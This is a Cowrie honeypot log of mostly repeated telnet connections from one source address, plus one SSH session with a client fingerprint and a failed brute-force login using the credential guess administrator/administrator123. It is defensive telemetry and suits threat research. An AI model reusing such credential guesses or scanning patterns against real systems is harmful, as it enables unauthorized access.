{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":36608,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d6a3cdc6c2a","protocol":"telnet","message":"New connection: 207.244.226.215:36608 (159.203.135.109:23) [session: 3d6a3cdc6c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:49.639013Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":33282,"dst_ip":"159.203.135.109","dst_port":23,"session":"60e78abdf144","protocol":"telnet","message":"New connection: 207.244.226.215:33282 (159.203.135.109:23) [session: 60e78abdf144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:50.593766Z"}
{"eventid":"cowrie.session.closed","duration":31.68935465812683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:50.791205Z","src_ip":"207.244.226.215","session":"b227130c5b3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.329766273498535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:51.632693Z","src_ip":"207.244.226.215","session":"b813c8eec6b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":40712,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a4406f2f375","protocol":"telnet","message":"New connection: 207.244.226.215:40712 (159.203.135.109:23) [session: 3a4406f2f375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:52.075919Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":40728,"dst_ip":"159.203.135.109","dst_port":23,"session":"56b8b2a00ad0","protocol":"telnet","message":"New connection: 207.244.226.215:40728 (159.203.135.109:23) [session: 56b8b2a00ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:52.082002Z"}
{"eventid":"cowrie.session.closed","duration":31.033214330673218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:54.060109Z","src_ip":"207.244.226.215","session":"fb70c5c49806","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":44454,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d64c1af5c6c","protocol":"telnet","message":"New connection: 207.244.226.215:44454 (159.203.135.109:23) [session: 8d64c1af5c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:54.284801Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":44864,"dst_ip":"159.203.135.109","dst_port":23,"session":"52ccea553977","protocol":"telnet","message":"New connection: 207.244.226.215:44864 (159.203.135.109:23) [session: 52ccea553977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:54.490173Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":44346,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9f08aa4a1e2","protocol":"telnet","message":"New connection: 207.244.226.215:44346 (159.203.135.109:23) [session: d9f08aa4a1e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:55.162755Z"}
{"eventid":"cowrie.session.closed","duration":30.40588402748108,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:55.236770Z","src_ip":"207.244.226.215","session":"8ff700303181","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":46280,"dst_ip":"159.203.135.109","dst_port":23,"session":"013e4fab6f9d","protocol":"telnet","message":"New connection: 207.244.226.215:46280 (159.203.135.109:23) [session: 013e4fab6f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:55.449515Z"}
{"eventid":"cowrie.session.closed","duration":30.809783220291138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:56.020897Z","src_ip":"207.244.226.215","session":"53d3e310f4b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.745623111724854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:56.025488Z","src_ip":"207.244.226.215","session":"0b1bfec509e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":47690,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5cda8891e76","protocol":"telnet","message":"New connection: 207.244.226.215:47690 (159.203.135.109:23) [session: c5cda8891e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:56.369520Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":48118,"dst_ip":"159.203.135.109","dst_port":23,"session":"1be9922eaab8","protocol":"telnet","message":"New connection: 207.244.226.215:48118 (159.203.135.109:23) [session: 1be9922eaab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:56.672659Z"}
{"eventid":"cowrie.session.closed","duration":31.506744146347046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:56.818578Z","src_ip":"207.244.226.215","session":"f6733c8ff042","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.19437003135681,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:57.111307Z","src_ip":"207.244.226.215","session":"061a5d9fd2a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.956549882888794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:57.125538Z","src_ip":"207.244.226.215","session":"65464f5dcf38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":49924,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1e2fc87bfc3","protocol":"telnet","message":"New connection: 207.244.226.215:49924 (159.203.135.109:23) [session: e1e2fc87bfc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:57.752763Z"}
{"eventid":"cowrie.session.closed","duration":30.163284301757812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:58.067645Z","src_ip":"207.244.226.215","session":"a02abc4cc40b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":45890,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b2438bfc76b","protocol":"telnet","message":"New connection: 207.244.226.215:45890 (159.203.135.109:23) [session: 4b2438bfc76b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:59.190732Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":47878,"dst_ip":"159.203.135.109","dst_port":23,"session":"846bed870dd3","protocol":"telnet","message":"New connection: 207.244.226.215:47878 (159.203.135.109:23) [session: 846bed870dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:32:59.505030Z"}
{"eventid":"cowrie.session.closed","duration":30.10651397705078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:00.020415Z","src_ip":"207.244.226.215","session":"71c63db1c814","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.136016607284546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:03.784630Z","src_ip":"207.244.226.215","session":"3e8c36784320","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":59236,"dst_ip":"159.203.135.109","dst_port":23,"session":"31ba6a12890c","protocol":"telnet","message":"New connection: 207.244.226.215:59236 (159.203.135.109:23) [session: 31ba6a12890c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:03.885392Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":60840,"dst_ip":"159.203.135.109","dst_port":23,"session":"056ab8ef7502","protocol":"telnet","message":"New connection: 207.244.226.215:60840 (159.203.135.109:23) [session: 056ab8ef7502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:04.947134Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":59536,"dst_ip":"159.203.135.109","dst_port":23,"session":"2176463e6ed2","protocol":"telnet","message":"New connection: 207.244.226.215:59536 (159.203.135.109:23) [session: 2176463e6ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:05.116811Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":49904,"dst_ip":"10.17.0.5","dst_port":22,"session":"27a164966eed","protocol":"ssh","message":"New connection: 92.205.57.72:49904 (10.17.0.5:22) [session: 27a164966eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:05.883660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:05.888112Z","src_ip":"92.205.57.72","session":"27a164966eed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:05.980355Z","src_ip":"92.205.57.72","session":"27a164966eed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.754955291748047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:06.022263Z","src_ip":"207.244.226.215","session":"0167602787c2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator123","message":"login attempt [administrator/administrator123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:06.369827Z","src_ip":"92.205.57.72","session":"27a164966eed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.2420597076416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:07.187150Z","src_ip":"207.244.226.215","session":"556dc85d602f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.447617053985596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:07.250074Z","src_ip":"207.244.226.215","session":"36d93cbd9efb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:07.462049Z","src_ip":"92.205.57.72","session":"27a164966eed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.45604920387268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:08.677678Z","src_ip":"207.244.226.215","session":"75a0d03d300c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.636562824249268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:08.945580Z","src_ip":"207.244.226.215","session":"aa616b41e558","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834287643432617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:10.010778Z","src_ip":"207.244.226.215","session":"50c27b7fdb5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.661714553833008,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:13.021343Z","src_ip":"207.244.226.215","session":"ffaab28d943e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.671361684799194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:13.025533Z","src_ip":"207.244.226.215","session":"0f202ae78661","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.377829551696777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:14.068866Z","src_ip":"207.244.226.215","session":"2e938c1c9668","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":45798,"dst_ip":"159.203.135.109","dst_port":23,"session":"1718fe5f90fc","protocol":"telnet","message":"New connection: 207.244.226.215:45798 (159.203.135.109:23) [session: 1718fe5f90fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:14.151198Z"}
{"eventid":"cowrie.session.closed","duration":30.51893663406372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:14.247732Z","src_ip":"207.244.226.215","session":"fa3de8b84319","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":46146,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7c513af1039","protocol":"telnet","message":"New connection: 207.244.226.215:46146 (159.203.135.109:23) [session: c7c513af1039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:14.331290Z"}
{"eventid":"cowrie.session.closed","duration":31.750380992889404,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:14.989562Z","src_ip":"207.244.226.215","session":"a181a579e92c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":48710,"dst_ip":"159.203.135.109","dst_port":23,"session":"dca4ae7d5826","protocol":"telnet","message":"New connection: 207.244.226.215:48710 (159.203.135.109:23) [session: dca4ae7d5826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:15.084930Z"}
{"eventid":"cowrie.session.closed","duration":30.094897270202637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:16.056791Z","src_ip":"207.244.226.215","session":"39346d8335af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.838507413864136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:17.078694Z","src_ip":"207.244.226.215","session":"b14e5cb96034","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":52980,"dst_ip":"159.203.135.109","dst_port":23,"session":"4faa40ab3c1b","protocol":"telnet","message":"New connection: 207.244.226.215:52980 (159.203.135.109:23) [session: 4faa40ab3c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:17.813377Z"}
{"eventid":"cowrie.session.closed","duration":30.781423568725586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:18.086004Z","src_ip":"207.244.226.215","session":"8de6b771553b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.141052722930908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:19.013046Z","src_ip":"207.244.226.215","session":"4f7ec54706f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73747682571411,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:19.027142Z","src_ip":"207.244.226.215","session":"8064dd478ada","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.468429803848267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:20.107350Z","src_ip":"207.244.226.215","session":"3d6a3cdc6c2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.104310035705566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:20.190332Z","src_ip":"207.244.226.215","session":"1004f2d6fb91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.484013319015503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:21.077638Z","src_ip":"207.244.226.215","session":"60e78abdf144","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":58456,"dst_ip":"159.203.135.109","dst_port":23,"session":"28393edaaa52","protocol":"telnet","message":"New connection: 207.244.226.215:58456 (159.203.135.109:23) [session: 28393edaaa52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:21.109382Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":56830,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ee95c7539aa","protocol":"telnet","message":"New connection: 207.244.226.215:56830 (159.203.135.109:23) [session: 1ee95c7539aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:21.113906Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":58670,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf1881b3bf3b","protocol":"telnet","message":"New connection: 207.244.226.215:58670 (159.203.135.109:23) [session: cf1881b3bf3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:21.205951Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":58738,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9e37b28665e","protocol":"telnet","message":"New connection: 207.244.226.215:58738 (159.203.135.109:23) [session: d9e37b28665e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:21.240529Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":58938,"dst_ip":"159.203.135.109","dst_port":23,"session":"f05aa9bc4bf2","protocol":"telnet","message":"New connection: 207.244.226.215:58938 (159.203.135.109:23) [session: f05aa9bc4bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:21.354437Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":33038,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fbc606fd6bb","protocol":"telnet","message":"New connection: 207.244.226.215:33038 (159.203.135.109:23) [session: 6fbc606fd6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:22.645788Z"}
{"eventid":"cowrie.session.closed","duration":31.455132246017456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:23.537041Z","src_ip":"207.244.226.215","session":"56b8b2a00ad0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.466465711593628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:23.542234Z","src_ip":"207.244.226.215","session":"3a4406f2f375","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":36830,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d37fd319a24","protocol":"telnet","message":"New connection: 207.244.226.215:36830 (159.203.135.109:23) [session: 7d37fd319a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:24.923783Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":35476,"dst_ip":"159.203.135.109","dst_port":23,"session":"241dfe1314cc","protocol":"telnet","message":"New connection: 207.244.226.215:35476 (159.203.135.109:23) [session: 241dfe1314cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:25.068424Z"}
{"eventid":"cowrie.session.closed","duration":30.680914640426636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:25.170917Z","src_ip":"207.244.226.215","session":"52ccea553977","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":37522,"dst_ip":"159.203.135.109","dst_port":23,"session":"22268ca7cd79","protocol":"telnet","message":"New connection: 207.244.226.215:37522 (159.203.135.109:23) [session: 22268ca7cd79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:25.387961Z"}
{"eventid":"cowrie.session.closed","duration":31.29321026802063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:25.577924Z","src_ip":"207.244.226.215","session":"8d64c1af5c6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861061334609985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:26.023712Z","src_ip":"207.244.226.215","session":"d9f08aa4a1e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.584001541137695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:26.033330Z","src_ip":"207.244.226.215","session":"013e4fab6f9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":37386,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c5691baeaf4","protocol":"telnet","message":"New connection: 207.244.226.215:37386 (159.203.135.109:23) [session: 9c5691baeaf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:26.285024Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":39896,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d28304f15c2","protocol":"telnet","message":"New connection: 207.244.226.215:39896 (159.203.135.109:23) [session: 3d28304f15c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:26.725906Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":41050,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae0a0834d291","protocol":"telnet","message":"New connection: 207.244.226.215:41050 (159.203.135.109:23) [session: ae0a0834d291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:27.369881Z"}
{"eventid":"cowrie.session.closed","duration":31.422702074050903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:27.792099Z","src_ip":"207.244.226.215","session":"c5cda8891e76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30111598968506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:27.973651Z","src_ip":"207.244.226.215","session":"1be9922eaab8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.289849042892456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:28.042477Z","src_ip":"207.244.226.215","session":"e1e2fc87bfc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":43868,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b5586879d3d","protocol":"telnet","message":"New connection: 207.244.226.215:43868 (159.203.135.109:23) [session: 3b5586879d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:29.118432Z"}
